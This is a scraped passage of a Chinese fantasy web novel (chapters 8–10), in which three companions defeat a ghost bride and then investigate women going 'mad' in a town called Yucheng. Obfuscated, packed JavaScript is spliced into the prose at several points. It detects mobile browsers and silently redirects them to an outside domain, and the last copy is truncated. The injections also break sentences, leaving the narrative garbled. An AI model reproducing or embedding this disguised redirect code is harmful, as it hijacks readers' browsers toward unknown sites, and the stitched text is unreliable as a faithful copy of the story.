闻晧强撑着才没有坐下,用仅剩的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16262441|182119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理智呼唤陆昭:“老陆!” 话音方落,身旁余锏蹿了出去。 陆昭被这幕惊得不禁后退一步,鬼手朝他抓来的瞬间,红线缠住了对方的手腕。 余锏将一件东西塞到了他手里。 陆昭低头一看,是沧海镜碎片。 下一刻腰节发紧。余锏搂着他躲开鬼手的一次攻击。 陆昭攥着碎片,脑海中如麻的思绪渐渐理出一条线,“鬼有这么厉害吗?” 余锏看他的眼神仿佛在说:你现在才想起问这个问题? “她与沧海镜做了交易。” “她好像在遵守某种规则。” 两人的声音交叠在一起。 陆昭一下子就明白了,“她不能违反规则。” 他心知时间不多,手中紧紧攥着沧海镜碎片。 余锏躲闪着鬼手,没两下便无力反抗,连退数步。 鬼手疯也似地刺向他,后者眉间紧锁,似是脱力般站在原地,又似是在等待什么。 一抹红色迎了上去,接住这一下。 闷响。 是皮肉被刺穿的声音。 千钧一发,余锏的红线缠住了他的腰,拽下他的身体,避开心口。 鬼手穿过陆昭肩膀,鲜血直流。 他举起手中的沧海镜碎片,“我已经说出正确的答案,你不能杀我。所以,你违反规则了。” 镜中映出阿夭的脸。 她忽然发出惊叫,鬼手统统收了回去。身体仿佛泄了气的皮球,一下子萎靡了。 她身上的嫁衣瞬间失去了颜色,变得破败不堪。 跌跌撞撞地后退,撞上轿杆。 身后阴魂尖叫着飞散,有的不肯就此放过她,还想反噬。 她感觉到了一股熟悉的气息。 转过身,少女的背影恍如昨日,她拦住了剩下的恶鬼,与他们一同消散了。 阿夭呆呆地看着这一幕。 她露出了一个不知是哭还是笑的神情。 闻晧不敢相信,“成、成功了?” 陆昭还有没解答的问题,他捂着肩头走到阿夭面前,“你和沧海镜做了交易吗?是谁把它给你的?” 阿夭的头颅逐渐变得透明。 她原本可以不回答陆昭的问题,眼神却落到了他脖子上悬挂着的玻璃瓶上。 “没错,我杀了姐姐那日,有人将它交给我,告诉我,只要我以鲜血为契,与它做一个交易,便可在死后变为厉鬼。但是,我必须遵守它的规则。有问题,就有答案。违反了,失去所有力量,魂飞魄散。” 陆昭:“是血魔给你的吗?剩下的碎片在哪里?” “我不知道。”她从没听过“血魔”,更不知道剩下的在哪里。 陆昭难掩失望。 “你是怎么猜出来的?”阿夭问。 “猜?”陆昭苦笑一声,“不是猜,是你告诉我的。” 阿夭消散了。 新郎官的身体重重倒在地上,快速腐烂,很快就成了一堆灰尘。 风一吹,只剩下苍白的嫁衣。 闻晧摸着有些酸麻的腿,走了过来,“接下来没有其他鬼了吧?” 陆昭:“老闻,没想到你这么怕鬼。怪不得在城门的时候你大喘气。” 闻晧的脸、耳朵和脖子一下子红了,“没、没有,胡说八道呢你,不许给我扣帽子,我可是天不怕地不怕的!” 说完,小声嘟囔,给自己挽回尊严,“这是特殊情况,我只是对一些没有实体的东西有些……忌惮而已。” 陆昭忍不住笑了。 一笑,便牵动了肩膀的伤。肾上腺素的作用开始消退,他觉得疼了。 闻晧见他龇牙咧嘴,这才分辨出他受了伤,从袖子里摸出药瓶,“快吃点。” 陆昭接过药瓶,还没打开,“余锏,你受伤了吗?” 8. 第 8 章 余锏不语,只是侧了下身子。 他的胳膊上有一道血痕。 陆昭当即倒出一粒,先问闻晧,“老闻,我的给他吃。” 闻晧先一愣,本想说不给他吃,没想到陆昭是把自己的份让给余锏了。这下倒好,话到嘴边硬生生转了一个弯:“……给他一颗,没什么。” 其实他压根不乐意。但陆昭是个好人。 “不必。” 余锏反而开口拒绝了。 这下闻晧更不高兴了,嚷道:“对啊,老陆,他的伤这么浅,再晚一点都自己好了,你吃就行,你多吃几颗。” 说着拿过瓶子,咕咚咚倒出几粒,往陆昭手里塞。 陆昭吃了六颗,伤处很快愈合了。但留下了肉芽痕迹,伤处有明显的分界线。 想到这里,他摸了摸自己的脖子,暗道一声“奇怪”。 闻晧注意到,“老陆,怎么了,你的脖子也受伤了?” “嗯,我被困在棺材里的时候,鬼的指甲明明刺进去了,出来之后却消失了。” 说着,陆昭摸了摸自己脑后。 他的发尾还粘黏着干涸后的血。 闻晧仔细观察,“没事啊,我看你好得很,只有肩膀这处伤。老陆,刚才太冒险了,你就不怕那个规则没用?” 陆昭:“那你推开棺材拿镜子碎片的时候,怎么没想过万一不在里面呢?” 两人相视,不禁露出微笑。 余锏却板着脸。 他向来不苟言笑,经此一事,闻晧知道他挺讲义气,不然也不会当机立断上马救陆昭。棺材脸就棺材脸吧,不可以貌取人。 只有陆昭觉察到这微妙的差别。 “余锏,我欠你三次。”陆昭不忘提醒自己。 “三次?”余锏的语调听着阴阳怪气的。 闻晧好奇,“什么三次?” 陆昭看了眼余锏,“人情。要不是余锏,我们或许会交代在这里。刚才也是他提醒了我,我才敢大胆冒险。” 余锏的脸色变了变。 陆昭感觉像自己吃错东西时肠胃不适的样子。 “余老兄救了我,这是我们一起欠的。余老兄,你的‘家学’可太厉害了,我刚刚看到你手里有很多条红线伸了出来——”闻晧比划,“一蹦老高了,我就跳不上去。你这么厉害,血魔到底偷了你家什么东西?” 他问到点子上了。 余锏没回答,而是看向陆昭,“你的手。” 陆昭不解,“手?” 他低头看自己的手,握着沧海镜碎片的手。 闻晧惊讶:“老陆,你的手臂!” 陆昭的手腕处,赫然出现了一条红线。 仿佛埋藏在他的肌肤底下,寄生着。 闻晧拉过他的胳膊,用力地搓了搓。 皮肤搓红了都没搓掉。 这时余锏拂开了他的手臂。 四两拨千斤般将陆昭的手腕握进了自己掌心。 “沧海镜上有毒。” 此言一出,闻晧赶紧拉开自己的袖子,“不对啊,我怎么没有?” 陆昭已经想明白了,“因为我的血沾到了沧海镜,对吗?” 余锏垂着眼帘,缓慢点了下头。 他的大拇指指腹摩挲着陆昭手腕间交错的纹路。 闻晧:“余老兄,你知道是什么毒吗?” “不知道。” 余锏飞快放开了陆昭。 闻晧急得要死,陆昭反而很冷静。 他被鬼捉走时是这样,鬼暴走时他也还是这样。 “余锏,你比我们俩都了解沧海镜,你知道怎么解吗?” “醍醐天的圣器,也许拼上就好了。” 余锏抬眸,掩去眼睛深处的兴味,“也许。” 闻晧抚掌,“说得有道理,老陆,反正你肯定要找到沧海镜回家的,先给它拼上再说。不过既然是毒的话……我们时间是不是不多?” 余锏指着陆昭手臂,“等它长成一朵花,你就会死。” “花?”陆昭举起手臂,仿佛要透过阳光看清它在肌肤下野蛮生长的样子,“它会长成一朵花?” 闻晧觉得他怎么一点也不怕呢,反而还有点隐隐期待,“本来想着回家去搬救兵,现在时间更紧了,不可耽搁。老陆,赶紧的,血魔的事先放一放,找到沧海镜才要紧!” “我觉得给阿夭沧海镜的就是血魔,只要找到沧海镜,就能找到血魔。”陆昭说完补充道,“直觉。” 闻晧双手抱胸,用力点头,“我相信你的直觉。” 闻晧将整个赵家搜了一遍。 这里一个活人都没有。 这么大动静,也没有人来查看,足见城中确实没多少活人。 闻晧风风火火地跑来跑去,恨不得把地板掀了,将血魔从地下撬出来。 陆昭在原地休息,余锏说到处看看,同样没收获。 天色渐暗下来。 遍寻无果,三人又回到休息点。 陆昭的伤势已愈,但因失血有些昏昏欲睡。 闻晧做了一顿不怎么好吃但也不至于难以下咽的饭菜,又让他吃了两颗药,催他早早休息。 陆昭房前,闻晧把门阖上。从袖子里摸出小蓝瓶,往手心里倒了倒,什么也没出来。 他被鬼挠伤的时候就吞了三颗,刚刚又当糖丸似的给陆昭喂。 眼下用完了。 闻晧心大,没当回事,吃完了再回家拿。 这时,他感觉到一股视线。 余锏站在楼梯上,看着他。 闻晧想起自己拖着受伤的手臂时,他从自己身旁掠了过去,如一尾轻燕。抬手之间将新郎官从马上踹了下去,调转马首,绕了一圈将他提上,一路策马,转眼间就来到赵府门前。 不像普通人。 家学,家学,到底是哪家的学? “他怎么样了?” 余锏破天荒地关心起人来了。 不过,闻晧觉得陆昭这样顶好的人,就算是大魔头也会关心他的,“没事,余老兄,你说等老陆手臂上的红线变成花,他就会死,真的假的?” “我从不撒谎。” 说到“撒谎”这两个字,余锏话里藏着隐隐不屑。 闻晧却觉得人怎么会没有撒谎的时候,总有不得已之时。饶是像他这般潇洒快活的人,也会骗老爹自己在学堂上拿了满分。 余锏往上走。 他似乎就是来问问陆昭情况的,达到目的就上去了。 闻晧忽然想到昨晚敲门的“老爹”,“余老兄,今晚丧魂还会来抓人吗?” 如果沧海镜碎片真是血魔留在赵家的,现在被他们拿走了,他应该来寻才是。丧魂的目的就不会是单纯敲门抓人那么简单了。 余锏停下脚步,手指轻敲了两下扶手。 “会。” 只留下一个字。 闻晧想了想,决定留在陆昭房间。 万一陆昭大半夜睡得迷迷糊糊,听到声音出来查看,不就中招了? 是夜。 闻晧坐在烛火旁打瞌睡。 陆昭睡得很沉,一直没醒过。 他不知道现在是什么时辰,觉得有些口渴了,想起厨房在外面,便想去倒杯水喝。 手刚碰到门栓,忽然听到一道悠远缥缈的声音。 “臭小子,还不赶紧出来?” “离家出走就算了,跑到这么远的地方,不想回家啦!” 跟昨晚一样,外面响起了老爹的声音。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16262442|182119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻晧知道是假的,架不住对方模仿得实在太像了。 仿佛是条泥鳅钻进了人心里。 他不动,反而往后退了两步。 “闻小皮!快出来,跟我回家!” “你这臭小子,是想气死我啊!阿照泉下有知,可得被你气活过来!” 这话说得,闻晧忍不住反驳:“要真能把娘气活过来就好了!” 那声音忽然消失了。 丧魂的声音响起,阴测测的,“是你,害了天魔的小子。原来躲在这里。” 糟了! 闻晧捂住自己的嘴。 “嘣”!门被撞得砰砰响。 闻晧左顾右盼,立刻将桌子推了过去,抵着门。 不知丧魂看上去一副风都能吹走的孱弱模样,是如何连门带墙撞得砰砰响的。每一下都锤在闻晧心上。 他忍不住看了眼陆昭。他一定累坏了,这动静都没能吵醒。 要真因为多嘴害了老陆,他一辈子都无法原谅自己! 蓦地,外面的动静停了。 闻晧不知道怎么回事,但他不敢出去看,只能抵着桌子,一直到天亮。期间若是犯困,他就给掐一下自己大腿。 天蒙蒙时,腿上多了好几处淤青。 天光从窗纸透了进来。 闻晧垂着头,睡着了。一只手轻轻拍了拍他的肩膀。 “谁?!”闻晧跳了起来,牵动腿上的伤,“哎哟……” 他揉着大腿,发现陆昭已经醒了,“老陆!太好了,天亮了。” “嗯,你怎么……” 陆昭一下子就明白了,“昨晚外面又出现声音了?” “对,就是丧魂,他在给血魔抓人,血魔一定还活着。”闻晧懊恼,“老陆,都怪我,他用我老爹的声音说话,我忍不住回了一句,被他认出是我,险些害了你。” 陆昭:“不是什么大事。天亮了,我们出去看看。” 闻晧搬开桌子,推开门。 院里静悄悄的,天光遍撒。 与昨天满城雾霾比起来,有拨云见日之感。 “没事了?”闻晧环顾四周,“丧魂走了?” 陆昭抬起头,看向楼梯上的人,“余锏。” 他换了一身衣服,还是黑色。 “你昨晚听到了什么声音?”陆昭问。 余锏还是同一个回答,“没有。” 闻晧觉得奇怪,“不对啊,你也是血奴,还是他们口中的极品血奴,丧魂不可能不引诱你。” 余锏看陆昭,“你听到了什么?” “我什么都没听见,因为我在梦里。”陆昭从怀里拿出用布包住的沧海镜碎片,“我梦到我手里拿着另一块沧海镜碎片。” 闻晧怔了怔,一时没明白他的意思,“另一块?” “嗯。” 陆昭之所以能分辨出来,是因为梦里手中的碎片形状不一样。 “我看到‘自己’把沧海镜碎片藏了起来,然后走出门,一个女孩子跑过来跟我说‘郎君回来了’。一个男人朝我走过来,我转身逃跑,但还是被他抓住了。他很生气,把我推进房间里,一边打一边骂,说我对他不忠,说整个榆城都知道我给他戴了绿帽。” “榆城。”余锏点出重点。 “真不知道给我干哪儿来了。”又是一个闻晧没听过的地名,“余老兄,你知道?” 余锏摇头。 陆昭:“我们可以去问问王福。” 他回屋拿放了自己现代衣服的包袱。昨天鬼硬给他塞进嫁衣里,他的运动鞋不知道哪里去了。幸好这户人家还有一些衣服没来得及带走,陆昭找到一双还算趁脚的布鞋,换上了。 三人来到王家,却发现门虚掩着。 里面传来哭声。 9. 第 9 章 堂屋内,王福跪在老妪尸首前。 听见脚步声,他回过头,惊讶道:“你们怎么还在城里,不是昨日走了吗?” 见老人去世,闻晧心一紧,连忙问:“发生什么事了?” 王福抬袖擦了擦脸,“你们来过之后,奶奶有感你们年纪轻轻,人生无限,她觉得自己连累了我,如果不是因为她,我就不会留在这里。我劝了她一夜,以为她想开了,没想到早上起来,发现她自尽了。” 说着落下泪来,嚎啕大哭,“可她是我在这世上最后的亲人了啊!” 闻晧同情地按住他的肩膀,“老兄,节哀啊。赵家已经没有鬼了,你现在想留下,或者去别的地方都可以。” “老闻。”陆昭喊了一声。 闻晧诧异地看向他。 王福呆呆的,“赵家没有鬼了,你、你们三位做的?那敲门鬼还会出现吗?” 陆昭摇头,“不知道。往后赵家没有鬼了,也不会有鬼迎亲。” 王福坐在地上,什么话也说不出来。 闻晧不忘来意,“老兄,你知道榆城在哪里吗?” “知道。”王福抬起手,有气无力地指着出城方向,“你们出城之后一直往西走,大抵三天三夜,便能看见榆城了。若是骑马,两天一夜就能到。” 三人离开王家。 闻晧跟着陆昭,“老陆,你刚刚叫我干嘛?” “没什么。”陆昭摇头,想起来王家的路上见过马厩,“城里会不会有还有马?” 余锏:“有。” 马厩里有两匹被拴着的马。 阿夭消失后,迎亲队伍的一切也跟着消失了,包括鬼新郎的马。 现在问题不是他们有三个人而马只两匹,而是陆昭不会骑马。 闻晧想学余锏上马,故意耍帅,也来了一个轻身跃上马背,但他的脚被马镫勾住了,还是有些狼狈。 再看余锏,仍是身轻如燕,好像一片鸦羽轻飘飘落下。 “老陆,上来。”闻晧对陆昭伸出手。 同时余锏牵着缰绳,闲庭信步般使马踱了过来,两匹马并驾齐驱,陆昭被夹在中间。 他愣了一下,先看了眼余锏,思绪回笼,把手伸向闻晧。 余锏神色一下就阴沉了。 他俯下身,勾住陆昭的腰带,就跟与鬼缠斗时一样,手掌在腰间轻轻一滑,从地上捞了起来。 陆昭的指尖滑过闻晧的,下一刻,莫名其妙来到马背上,坐在余锏前面。 闻晧傻眼了,正要说话,余锏已经牵起缰绳,夹住马腹,将他甩开一段距离,“天黑前找到下一个落脚处。” 风声啸啸。 陆昭没骑过马,第一次骑马,感觉还挺新鲜的。 明明马在跑,他却觉得如履平地。不由得想起“马踏飞燕”的顺拐马,于是低下头去看马腿。 “在看什么?” “马腿。它怎么不顺拐?” 不顺拐也很稳的马,神奇。 陆昭兴致勃勃地研究着。 “你的世界,马顺拐?” “也不是,只是听说有一种顺拐马跑起来很稳,人在马上没有感觉。” 他随便比划出汽车的形状,“我们出行全靠汽车,马是几百年前的事了。大多数人包括我平时接触不到马。” “汽车。”余锏复述一遍,口吻古怪,“看来在你眼里,我们很落后。” “没有,你们比我厉害多了。”陆昭笑着说,“我只是一个随处可见的普通人。” 余锏淡淡道:“你似乎觉得自己回不去。” 陆昭一愣,确实,他没有表现出急切回去的强烈欲望,因为他还妄想找到复活母亲的办法,“余锏,你知道怎么复活死去的人吗?” 余锏没回答。 陆昭觉得闻晧说得对,人死如灯灭。第一次问余锏的时候,他说有办法,用骨灰也可以。陆昭自己都不信。 他现在打算找到沧海镜,回到现代。给母亲找一个安息之地。 “余老兄,你骑得也太快了——!” 闻晧在后面拼命追赶。 两天后,三人抵达榆城。 临近榆城,闻晧还很忐忑,害怕又看见一座鬼城。 幸好城中一切如常,远远地便看见城官在检视路引。仿佛见到了乡亲,闻晧转头就忘了自己没有路引这件事,热络地迎上去,“太好了,是活人!” “三位是哪儿来的,请出示路引。”城官拦下他。 闻晧尴尬了。 但下一刻陆昭递过来三个路引。 他小声跟闻晧说:“是余锏给我的,他在二楼找到的,应该是离开的人太着急,没带走。” 城官面露古怪之色,“通城,那里不是已经变成死城了吗?而且听说有鬼……” “那是之前,现在已经没有了。”闻晧拍拍胸脯。 果然城官小心询问道:“莫非,是三位道长解决的?” “道长不敢当。”闻晧有些不好意思,“我还不是醍醐天的人呢。” “醍醐天!”城官惊讶,连忙伏低脊背,“太好了,看来怪事能解决了。三位道长快请进城,县衙有请。” 闻晧后知后觉。这是将他们当成醍醐天的人了,他开始能知道自己给陆昭招麻烦了,尴尬地挠了挠后脑勺,“老陆……” 陆昭看向余锏,“我只知道我们要来榆城,不知道要找的人在哪里,也许去县衙会更容易找到?” 余锏没说话。但相处下来陆昭有些摸清楚他的做法了,比如现在的不说话是同意的意思。 “没事的,老闻,我们去县衙。”陆昭拍拍他的肩。 县衙里,县官正急得焦头烂额。 他手中是一份被原封不动退回来的拜帖,堂下替他千里迢迢去京城送帖的家奴跪着,他一把将拜帖扔在桌上,“你说丞相大人闭门不见,就算你跟管家说明了是我送的也不行?” 家奴为难地点点头,“老爷,京中谁人不知您被贬到这里就等于流放,谁还敢……” “刁奴!”县官气得胡须乱斗,随手丢出红头签,“来人啊,刁奴盗窃,拉下去打十大板。” 听着家奴的哀嚎,县官才觉得舒心了许多。 他不由得转了转眼睛,要是能解决榆城的怪事,是不是就有机会调回京城去了? 在京时他听说过有一仙长云集之山,名曰醍醐天。可修仙之人如何是他轻易能请到的,此处荒僻,竟连一个听说过醍醐天的人都没有…… “大人!” 城官着急忙慌地跑进来,“大人,有三位醍醐天的道长进城来了!” 县官唰的一下站起来,顾不得衣袍被椅子刮坏,赶紧往外走,“真的假的,赶紧请过来!” 看到陆昭三人的时候,他面露失望之色。 “他们三个,醍醐天?”县官一屁股坐到椅上,叹了口气,沮丧着脑袋,摆摆手,“赶紧拉下去打十大板,赶出去吧。” 城官愣了愣,“可是大人,他们从通城而来,说那里已经没有鬼了。” 县官倏地抬起头,狐疑地打量三人,“真的?不都说通城成鬼城了么?可是他们三人解决的?” 城官将路引递给他,凑嘴过去,“属下验过,确实是通城的路引,如今从通城来的还能活着的肯定有点本事。您放心,我刚刚就让人快马去查了,若通城真安全了,就说明他们是真的。” 县官觉得很有道理,“那你先安排他们下去休息,确定是真的再来告诉本官。” 说完拂袖后堂去了。 “三位道长舟车劳顿,大人让我带你们先去休息,明日再谈正事。”城官在心里算着路上的驿站,信鸽加上快马传信的话一天就够了。 陆昭三人赶了一路确实有些累了,听城官的在城里客栈歇下。 客栈走廊,闻晧用力地伸了一个懒腰,“这下安全了,能好好睡一觉!” 他忽然想起陆昭的毒,“老陆,红线长成什么样子了?” 陆昭掀开袖子,“长了一点点。” 比原来长出一指。 “好快。”闻晧除了急也做不了什么,第一次尝到了挫败的滋味。 陆昭反倒跟个没事人似的,要是他告诉闻晧自己还挺想看看能长出什么样子的花,不知道闻晧会是什么反应,“好好休息,老闻。” 闻晧走进房间。陆昭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16262443|182119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟余锏继续往前走,到自己房间时,陆昭跟他打了声招呼,“那我去休息了,余锏。” “三个。” 陆昭抬头看向余锏。 他垂眸看着自己,仿佛怕他没听清似的,又讲了一遍,“三个。” 陆昭反应过来了,“三个人情,我记得。” “不止。” 陆昭愣了愣,“还有吗?” 他不是一个喜欢做算法的人,三个和四个没区别,没有多想,干脆地点头,“好,那就四个。” 余锏并不满意这个回答。刚才还在眼底的一点淡淡波光消失了,转身就进了自己房间。 陆昭歪了歪脖子,想不通就觉得干脆不想,阖上门去休息了。 夜深。 陆昭忽然睁开眼,用胳膊撑着身体坐起来。 他下床去检视桌子上的包袱,沧海镜碎片还在,遂松了口气,拿到手里,决定睡觉的时候贴身放。 这时,陆昭发现屋内地板上不知道什么时候有一层薄薄的雾气。 像干冰。 他没有穿鞋,冷得打了个颤。看向房门,发现雾气是从门底下流进来的。 陆昭可以选择出去看看。 但他觉得自己不是恐怖片的主角,转身回到床上,盖上被子继续睡觉。 这一觉睡得很不踏实。 他再次梦到了那个女人,还是一样的场景。只不过这次她被打得鼻青脸肿之后爬起来,坐到梳妆镜前。 陆昭看清楚了她的脸,长得还挺好看的。 她摸出了沧海镜的碎片,发了一会儿呆,忽然用镜片划破了自己的掌心。 明明是做梦,陆昭却觉得自己的掌心也很痛。 这时,他突然发现铜镜里的脸变成了自己的。 “自己”开口问他:“你孤独吗?” 陆昭没说话。 但他感觉有人在抚摸他的脸,轻轻地叹息,“可怜可叹的孤寡人,这世间容不下你,去了累身之物,随我走吧。” 说完,把手伸向他脖子前的玻璃瓶。 “不行!” 陆昭大喊一声,坐了起来。 他不记得昨晚自己有没有将床帐放下,用力地拨开床帐,陆昭打开窗户,呼吸到新鲜空气的时候,那种古怪的感觉才慢慢消退。 脖子有点痒,他挠了挠,发现是一个蚊虫咬的包。 有人在敲门。 是闻晧,他给陆昭展示自己的胳膊,好多小红点,“老陆,这家客栈的床不干净,有床虱!” 说罢发现陆昭脖子上的包,“你也被咬了!走,找掌柜的算账去。” 陆昭看地板,“你昨晚看到了吗?” 闻晧:“看到什么?” “雾气,在地面上,冷冰冰的,到处都是。” 见闻晧摇头,陆昭不由得怀疑那也是梦的一部分。 沧海镜碎片被他包在布里,并没似梦中一样划破他的掌心。 余锏出来了。闻晧也问他有没有被床虱伺候。 前者摇头。闻晧这下确定他跟陆昭被做局了。 他气冲冲地把掌柜叫上来,一顿劈头盖脸的骂,掌柜的使劲道歉,免去三人接下来所有房钱。 县衙的人来了,请他们去。 到了县衙,县官的态度跟昨天截然不同,张开双臂热络地出来迎接,“三位道长!太好了,谢天谢地,幸亏你们来了,咱们榆城的百姓有救了啊!” 闻晧无语,“县官大人,你昨天态度可不是这样的。” “哎呀,人是会变得嘛。醍醐天是什么地方呀,三位大人有大量,不跟我这小人计较。” 县官谄媚地眼睛都要眯成一条缝了。 天亮时累死累活的跑马役回来了,到半路驿站放出了十几只信鸽,三个时辰得到的消息:通城确实没鬼了。 不过通城也没人了。这个消息还得过些时日才有人知道。 县官眼睛滴溜溜地转:若能解决榆城的怪事,通城的功劳也可尽揽囊中,别说回京重任,升迁都不成问题。 希望就在眼前三人身上。 “不瞒三位,最近啊我们这榆城,发生了一桩怪事……” 10. 第 10 章 榆城近来有许多人得了疯病。 都是女人。家里人说她们向来温婉勤快,突然间便不做活了,也不管孩子,要么对镜梳妆,要么在天井发呆。 公婆们只得照顾着。男人回到家,见自己的父母满头银发还要操劳,急性者上手打骂。但女人就是充耳不闻,仿佛感觉不到疼。 大夫说这是疯病,得了这病,便算不上人了。男人可以到衙门休妻,但这解决不了问题,家里总得有个女人照顾,打理。 频被打搅,县官苦不堪言。他一心一意想着回京,这帮乡下人只晓得在公堂之上给他添麻烦。 还是城官聪明,通城有鬼,逃来了许多人。会不会女人们并不是得了疯病,是被鬼上身? 县官一听,觉得有道理呀。但请道士要花钱,请一次就少一顿美酒佳肴。而且并不能解决问题,穷乡僻壤能有什么高人? 如此两次,县官大手一挥,先这样吧,大不了多处理几场公堂。 拖拖拉拉了一个月,疯了的女人越来越多。县官压力那个大,想起贵人们提过的“醍醐天”。但这里没有人听说过,也不知道去哪里找,更不知道要花多少钱。 废物点心。县官上火,一夜长了三颗痘。 节骨眼上,陆昭三人来了。 甭管他们是不是真醍醐天来的,能知道醍醐天就已很了不起。更别提他们解决了通城鬼案。 死马当活马医,医好了凯旋回京。是一笔好买卖。 县官一把鼻涕一把泪地替女人们打抱不平:“……事情便是如此,她们被休之后无处可去,本官觉得她们太可怜了!三位道长,求求你们帮帮我们,帮帮她们吧!” 闻晧:“县衙这么大,既然娘家不肯收她们,大人可以暂时收留她们啊。” 县官险些被口水噎住,“可、可本官平日里要升堂断案,为民解忧,没有那么多时间管她们。而且,用的还都是百姓的税钱,时间久了,大家不乐意。” 闻晧指着他腰间环佩,“大人没有钱吗?你这块玉看着挺值钱的。” 县官眼角抽搐,假装听不见,转向陆昭,这个看上去是个聪明人,“道长,请帮帮我们!” “我们帮大人,大人也要帮我们。” “那是当然,那是当然!”县官轻拭额角。 陆昭简单描述了一番他在梦里见到的女人。 县官听完,在心里直道有戏,虽然他不知道陆昭说的是谁,但既有梦中预知,说明这事儿就该他们来处理,“听道长这么一说,应当是榆城中人,但你描述的女人听着很普通,本官也不知是哪户人家。这样吧,赵松——” 站在一旁的城官赶紧凑上来。 “此事儿便交由你负责,带三位道长去找人。”县官抬起袍袖遮住脸,挤眉弄眼。行云流水般扶住额头,“哎呀,本官头有点疼,下午还有两桩要案得审,先回去歇息一番。” 说着对三人露出一个笑容,脚下生风地遁走了。 闻晧摸着下巴,“我怎么觉得这个县令特别不靠谱?” 赵松刚刚在旁边听完了陆昭对梦中女人长相描述,“听上去像王二娘子,她是最早疯的几人之一。” 陆昭:“能带我们去找她吗?” “找不到。”赵松叹了口气,“她已经失踪了。一开始疯的几个女人都失踪了。不过,有人说他的娘子疯了之后,晚上会莫名消失,回来后问她去了哪里,她说去见王二娘子了。” 闻晧摸了摸胳膊上的鸡皮疙瘩,“失踪了,不会已经死了吧?要是死了的话,那不就是见鬼?” 陆昭:“只是消失,最后还是会回来?” 赵松:“多去几次就回不来了,我们试过半夜蹲守,不知人是怎么出去的,一晃眼的功夫就没了。城里家家户户现在晚上都死死看着女眷,怕她们也去赴王二娘子的‘会’。” 陆昭想了想,“能带我们去王二娘子家看看吗?” “可以是可以。”赵松迟疑了一下,“但现在那里没什么好看的了。” 因为已经烧成了一片废墟。 赵松在前面开路,跨过被烧成黑炭的房梁,解释道:“她失踪那天晚上,杨家就失火了,她的夫婿杨平和从娘家带过来的丫鬟被烧死,只有公婆活着。老两口就他这个儿子,没过几日便收拾细软去投奔子侄了。” 现场没有有用的线索。 眼下他们需要知道失踪的女人到底去哪里“见”王二娘子。 闻晧侃侃而谈,“只要我们能跟着其中一个人,就可以知道王二娘子在哪里。说不定她没死呢?说不定,她还是个人呢?” 闻晧在安慰自己。明眼人都知道王二娘子已经死了,活着的人赴的是鬼宴。 赵松方才就说过这个办法,不过他们蹲守不到皆因是普通人,这三位可不一样,“闻道长说的是,实不相瞒,我们推算出她们七天消失一次,今晚正是时候。” 闻晧嘴角轻轻抽了一下,“那、真巧啊。” 想到陆昭身上的毒,闻晧狠狠心,“好,我们今晚就去找王二娘子。老陆,这次我去。” 陆昭不会放闻晧只身涉险,“大家一起。” 到了晚上,赵松带着两个衙役,与三人一起蹲守在一户人家院子里。 他解释道:“这家娘子一个月前开始发疯病,如今已消失三次了。家里打也打了骂也骂了都没用,哎,可怜她的家人,什么事都没做错遭这罪。” 闻晧率先发问:“这话没道理吧,明明是她被鬼迷了,为什么打骂她?又不是她的错。” 陆昭:“家里没有她就不行吗?其他人也可以干活。照你这么说,平时都是她一个人做所有事。” 赵松困惑地挠了挠脸,“可不是向来如此吗?女子嫁到夫家,便应持家有道,相夫教子,伺候公婆。” 闻晧记忆里都是他爹在“持家有道、相妻教子”,“不是呀,我家就不是。” 陆昭知道这里是玄幻世界,也是古代,他们和现代人的思想不一样,但还是没忍住,“累垮她的不是那些活,是没有人理解她。世界这么大,她活得像个孤岛。向来如此,就是对的吗?” 默不作声的余锏倏地抬起眼。 他看着陆昭,眼睛里好像有一团野火在烧。 这一天他都没说话,只静静地跟着两人,突然有话要说似的,陆昭询问道:“怎么了?” 余锏收回目光,看向院子外的路,“起雾了。” 确实起雾了。 地面不知何时聚了一层薄薄的雾,如水幕般流动着。 赵松只当醍醐天的高人思想先进,并不把他们的话放心上,眼下场景让他想起前几次蹲守也是这样,莫名其妙的雾,“道长,之前也出现了这样的雾。” 一次是巧合,两次三次就不是了。 闻晧挠着手臂,白天涂的药已失效,又开始痒起来了。他从袖子里摸出祛痒膏,给自己抹上一点,想起陆昭也被咬了,便挖了一指,伸手过去,“老陆,你也涂点……咦?” 闻晧发现陆昭脖子上的包消了,反倒多了一个红点。 就似一支朱砂笔点上去的。 他有这般胎记吗?闻晧记不得了。 “老闻,我在梦里见过。”陆昭喃喃。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 